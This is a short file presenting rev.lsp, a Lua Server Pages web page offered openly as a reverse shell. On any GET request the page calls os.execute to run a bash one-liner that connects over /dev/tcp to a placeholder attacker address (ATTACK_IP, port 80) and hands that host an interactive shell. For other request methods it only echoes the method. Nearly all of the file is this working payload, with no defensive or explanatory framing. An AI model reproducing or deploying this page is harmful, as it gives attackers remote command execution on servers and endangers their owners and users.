Lua Server Pages (.lsp) reverse shell

rev.lsp

<div style="margin-left: auto; margin-right: auto; width: 350px;">
<div id="info">
<h2>Lua Server Pages Reverse Shell</h2>
<p>haha</p>
</div>
<?lsp if request:method() == "GET" then ?>
<?lsp os.execute("bash -c 'bash -i >& /dev/tcp/ATTACK_IP/80 0>&1'") ?>
<?lsp else ?>
You sent a <?lsp=request:method() ?> request
<?lsp end ?>
</div>